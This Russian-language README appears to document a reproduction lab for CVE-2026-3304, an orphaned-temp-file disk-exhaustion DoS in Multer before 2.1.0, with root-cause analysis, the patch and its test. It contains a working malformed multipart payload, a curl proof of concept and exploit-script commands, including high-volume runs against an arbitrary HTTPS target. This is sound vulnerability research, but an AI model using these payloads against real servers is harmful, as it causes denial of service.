
# Лаборатория воспроизведения CVE-2026-3304 Лаборатория воспроизведения для CVE-2026-3304 — гонки в асинхронном fileFilter в Multer, приводящей к исчерпанию диска через осиротевшие временные файлы. Включает уязвимые и пропатченные Docker-серверы, эксплойт-скрипты и анализ первопричины.
Только для образовательных и исследовательских целей. Атака на системы без авторизации незаконна.
Эта лабораторная среда была создана на основе анализа патча Multer 2.1.0 и его официального тестового кода. Уязвимый сервер воспроизводит точные условия, описанные в тесте патча, а пропатченный сервер запускает Multer 2.1.0 для подтверждения работоспособности исправления.
| Поле | Детали |
|---|
| CVE | CVE-2026-3304 |
| Цель | Multer < 2.1.0 (промежуточное ПО Node.js для multipart/form-data) |
| Тип | DoS — осиротевший файл (неполная очистка временных файлов) |
| CWE | CWE-459: Неполная очистка |
| CVSS 4.0 | 8.7 ВЫСОКИЙ |
| Исправленная версия | Multer 2.1.0 |
Некорректный multipart-запрос с отсутствующим атрибутом name в файловой части приводит к тому, что Multer создает временный файл на диске, но никогда его не удаляет. Повторные запросы исчерпывают дисковое пространство, что приводит к отказу в обслуживании.
Уязвимость возникает в потоке обработки обратного вызова fileFilter внутри multer/lib/make-middleware.js.
Когда Multer потоково обрабатывает и разбирает multipart-запрос по частям, происходит следующая последовательность:
[Последовательность событий разбора — уязвимая версия]
1. Получен заголовок части 1
→ вызывается fileFilter(req, file, cb)
→ setImmediate(cb) → обратный вызов откладывается до следующего тика цикла событий
2. Получено тело части 1
→ открывается /tmp/uploads/<uuid>, начинается запись данных
3. Получен заголовок части 2 (атрибут name отсутствует)
→ Multer обнаруживает 'name missing'
→ errorOccured = true ← установлен флаг ошибки
→ вызывается abortWithCode('LIMIT_FIELD_KEY') → запланирован HTTP 500
4. Срабатывает обратный вызов setImmediate (следующий тик цикла событий)
→ результат fileFilter: includeFile = true (обычный поток)
→ [ОШИБКА] флаг errorOccured НЕ проверяется
→ вызывается storage._handleFile() → временный файл сохраняется на диск
5. Отправлен ответ HTTP 500
→ временный файл остается на диске (осиротевший файл)
make-middleware.js — Multer < 2.1.0)// Обратный вызов завершения fileFilter (отложен через setImmediate)
fileFilter(req, file, function (err, includeFile) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
if (!includeFile) {
appender.removePlaceholder(placeholder)
return fileStream.resume()
}
// ❌ errorOccured здесь никогда не проверяется
// даже если ошибка была установлена при разборе части 2, выполнение продолжается
storage._handleFile(req, file, function (err, info) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
// временный файл регистрируется в uploadedFiles и остается на диске
appender.replacePlaceholder(placeholder, assign(file, info))
checkFinished()
})
})
Почему setImmediate является проблемой?
Обертывание fileFilter в setImmediate откладывает его обратный вызов до следующего тика цикла событий.
В этом окне busboy (парсер multipart) продолжает разбирать заголовки следующей части,
обнаруживает отсутствующий name и устанавливает errorOccured = true.
Когда обратный вызов возобновляется, состояние ошибки уже установлено — но код никогда его не проверяет,
поэтому storage._handleFile вызывается безусловно, и временный файл записывается на диск.
Коммит исправления: 739919097d
Одна проверка if (errorOccured) была добавлена сразу после входа в обратный вызов fileFilter,
до достижения storage._handleFile.
// Обратный вызов завершения fileFilter (Multer 2.1.0)
fileFilter(req, file, function (err, includeFile) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
// ✅ [ПАТЧ] Проверка errorOccured перед продолжением
if (errorOccured) {
appender.removePlaceholder(placeholder)
return fileStream.resume() // дренаж потока — файл не записывается на диск
}
if (!includeFile) {
appender.removePlaceholder(placeholder)
return fileStream.resume()
}
storage._handleFile(req, file, function (err, info) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
appender.replacePlaceholder(placeholder, assign(file, info))
checkFinished()
})
})
| Элемент | Уязвимый (< 2.1.0) | Исправленный (2.1.0) |
|---|---|---|
Проверка errorOccured | ❌ Не проверяется | ✅ Проверяется сразу при входе в обратный вызов |
_handleFile вызывается при ошибке | Да | Заблокирован |
| Очистка временных файлов | ❌ Отсутствует | ✅ Через fileStream.resume() |
| Осиротевшие файлы на запрос | 1 | 0 |
Почему fileStream.resume() выполняет очистку:
Вызов fileStream.resume() дренирует и отбрасывает поток без передачи его в DiskStorage,
поэтому файл не записывается и на диске ничего не остается.
Команда Multer включила следующий тест Mocha в патч 2.1.0 для проверки исправления.
Этот тест стал основой для данной лабораторной среды — уязвимый сервер
воспроизводит точную конфигурацию, описанную здесь (setImmediate fileFilter + некорректный multipart-запрос),
а ожидаемое поведение проверяется как на уязвимой, так и на исправленной версиях.
/* eslint-env mocha */
var assert = require('assert')
var fs = require('fs')
var os = require('os')
var path = require('path')
var http = require('http')
var express = require('express')
var multer = require('../')
describe('async fileFilter cleanup', function () {
it('does not leave orphan files when request aborts with missing field name', function (done) {
var uploadDir = fs.mkdtempSync(path.join(os.tmpdir(), 'multer-orphan-'))
var app = express()
// Vulnerability trigger: async fileFilter via setImmediate
var upload = multer({
dest: uploadDir,
fileFilter: function (req, file, cb) {
setImmediate(function () { cb(null, true) })
}
})
app.post('/upload', upload.any(), function (req, res) {
res.json({ success: true })
})
// Error handler: respond with 400
app.use(function (err, req, res, next) {
res.status(400).json({ error: err.code })
})
var server = app.listen(0, function () {
var port = server.address().port
var boundary = 'TestBound'
// Malicious body: Part 1 valid, Part 2 missing name attribute
var body =
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n' +
'Content-Type: application/octet-stream\r\n\r\nORPHAN FILE DATA\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; filename="b.bin"\r\n' + // ← name= missing
'Content-Type: application/octet-stream\r\n\r\nx\r\n' +
'--' + boundary + '--\r\n'
var req = http.request({
hostname: 'localhost',
port: port,
path: '/upload',
method: 'POST',
headers: {
'Content-Type': 'multipart/form-data; boundary=' + boundary,
'Content-Length': Buffer.byteLength(body)
}
}, function (res) {
res.resume()
res.on('end', function () {
setTimeout(function () {
var files = fs.readdirSync(uploadDir)
// Assert 1: server must respond with 400 (error)
assert.strictEqual(res.statusCode, 400)
// Assert 2: no orphaned files must remain on disk
assert.strictEqual(files.length, 0)
server.close(done)
}, 500)
})
})
req.write(body)
req.end()
})
})
})
| Утверждение | Значение |
|---|---|
res.statusCode === 400 | Multer корректно отклоняет некорректный запрос |
files.length === 0 | На диске не остается осиротевших файлов (патч подтвержден) |
На уязвимой версии (< 2.1.0) files.length равен 1, и утверждение не выполняется.
Эта лабораторная среда напрямую повторяет конфигурацию теста патча, описанную выше.
Уязвимый сервер (Dockerfile + app/server.js) запускает Multer 2.0.2 с асинхронным fileFilter
с использованием setImmediate — точное условие срабатывания из теста патча:
// app/server.js — воспроизводит триггер уязвимости из теста патча
const upload = multer({
dest: UPLOAD_DIR,
fileFilter: function (req, file, cb) {
setImmediate(function () { // ← откладывает обратный вызов, создавая состояние гонки
cb(null, true)
})
}
})
Исправленный сервер (Dockerfile.patched) запускает тот же server.js, но устанавливает Multer 2.1.0,
где присутствует проверка errorOccured — что соответствует ожидаемому проходящему состоянию теста патча.
| Сервер | Порт | Multer | Ожидаемое поведение |
|---|---|---|---|
| Уязвимый | 3000 | 2.0.2 | Осиротевший файл создается при каждом некорректном запросе |
| Исправленный | 3001 | 2.1.0 | Нет осиротевших файлов — очистка работает корректно |
Примечание: Переключение
fileFilterна синхронный режим (удалениеsetImmediate) предотвращает появление осиротевших файлов даже на Multer < 2.1.0. Уязвимость требует обоих условий: асинхронногоfileFilterи отсутствующей проверкиerrorOccured.
Атака отправляет POST-запрос multipart/form-data, в котором во второй части отсутствует обязательный атрибут name.
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="file"; filename="photo.jpg"
Content-Type: application/octet-stream
<двоичные данные>
------Boundary--
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="file"; filename="legit.bin" ← Часть 1: корректная, здесь создается временный файл
Content-Type: application/octet-stream
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
------Boundary
Content-Disposition: form-data; filename="malformed.bin" ← Часть 2: name= отсутствует!
Content-Type: application/octet-stream
x
------Boundary--
Выполнение на стороне сервера:
1. Прибывает часть 1 → Multer открывает /tmp/uploads/<uuid> и начинает запись
2. fileFilter вызывается с setImmediate → обратный вызов отложен
3. Прибывает часть 2 → Multer обнаруживает отсутствующий name → errorOccured = true
4. Срабатывает setImmediate → выполняется обратный вызов fileFilter
5. [ОШИБКА] errorOccured не проверяется → вызывается storage._handleFile
6. Временный файл записывается на диск
7. Возвращается HTTP 500
8. /tmp/uploads/<uuid> навсегда остается на диске ← осиротевший файл
Ответ сервера:
HTTP/1.1 500 Internal Server Error
MulterError: Field name missing
at abortWithCode (/app/node_modules/multer/lib/make-middleware.js:...)
curl -s -X POST http://localhost:3000/upload \
-H "Content-Type: multipart/form-data; boundary=----Boundary" \
--data-binary $'------Boundary\r\nContent-Disposition: form-data; name="file"; filename="legit.bin"\r\nContent-Type: application/octet-stream\r\n\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n------Boundary\r\nContent-Disposition: form-data; filename="malformed.bin"\r\nContent-Type: application/octet-stream\r\n\r\nx\r\n------Boundary--\r\n'
Проверьте осиротевшие файлы сразу после:
curl http://localhost:3000/status
pip install requests)# Запуск уязвимого (порт 3000) + исправленного (порт 3001) серверов
docker compose up -d --build
# Проверка, что оба работают
curl http://localhost:3000/status
curl http://localhost:3001/status
bash exploit/curl_poc.sh
# По умолчанию (50 запросов)
python3 exploit/exploit.py
# Интенсивная атака (500 запросов, полезная нагрузка 5 КБ каждый)
python3 exploit/exploit.py --count 500 --size 5120
# Против HTTPS-цели с самоподписанным сертификатом
python3 exploit/exploit.py --target https://target.example.com --no-verify
# Сравнение с исправленной версией
python3 exploit/exploit.py --target http://localhost:3001 --count 50
bash exploit/monitor.sh
curl -X DELETE http://localhost:3000/reset
| Цель | Результат |
|---|---|
| Уязвимый сервер (3000) | Осиротевший файл создается при каждом запросе, диск непрерывно растет |
| Исправленный сервер (3001) | 0 осиротевших файлов независимо от количества запросов |
[*] CVE-2026-3304 Multer Orphaned File DoS Exploit
[*] Target : http://localhost:3000/upload
[*] Requests: 50 | Delay: 0.0s | Payload: 2048 bytes
------------------------------------------------------------
[*] Before attack — orphaned files: 0
[ 10/50] 500 response: True | orphaned files: 10 | disk: 20.00 KB
[ 20/50] 500 response: True | orphaned files: 20 | disk: 40.00 KB
[ 30/50] 500 response: True | orphaned files: 30 | disk: 60.00 KB
[ 40/50] 500 response: True | orphaned files: 40 | disk: 80.00 KB
[ 50/50] 500 response: True | orphaned files: 50 | disk: 100.00 KB
============================================================
[Result] Total requests: 50 | Triggered: 50
[Result] Orphaned files: 0 -> 50
[Result] Disk wasted: 100.00 KB
[!] VULNERABLE: 50 temporary files left on disk, never cleaned up
[!] Repeated attacks will exhaust disk space (DoS)
$ docker exec cve-2026-3304-target df -h /tmp/uploads
Before attack:
Filesystem Size Used Available Use% Mounted on
tmpfs 50.0M 0 50.0M 0% /tmp/uploads
After 200 requests × 5 KB:
Filesystem Size Used Available Use% Mounted on
tmpfs 50.0M 1.6M 48.4M 3% /tmp/uploads
$ docker exec cve-2026-3304-target du -sh /tmp/uploads
1.6M /tmp/uploads
$ docker exec cve-2026-3304-target ls /tmp/uploads | wc -l
200
Каждый осиротевший файл остается на диске навсегда, пока сервер не будет перезапущен или файлы не будут удалены вручную. tmpfs контейнера ограничен 50 МБ — при достижении лимита сервер полностью перестает принимать новые загрузки.
Run 1: orphaned files 0 -> 50 (100 KB)
Run 2: orphaned files 50 -> 100 (200 KB)
↑ файлы из запуска 1 все еще присутствуют — никогда не очищаются
[ 10/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB
[ 20/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB
[ 30/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB
[ 40/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB
[ 50/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB
[*] No orphaned files — patched version cleans up correctly
docker compose down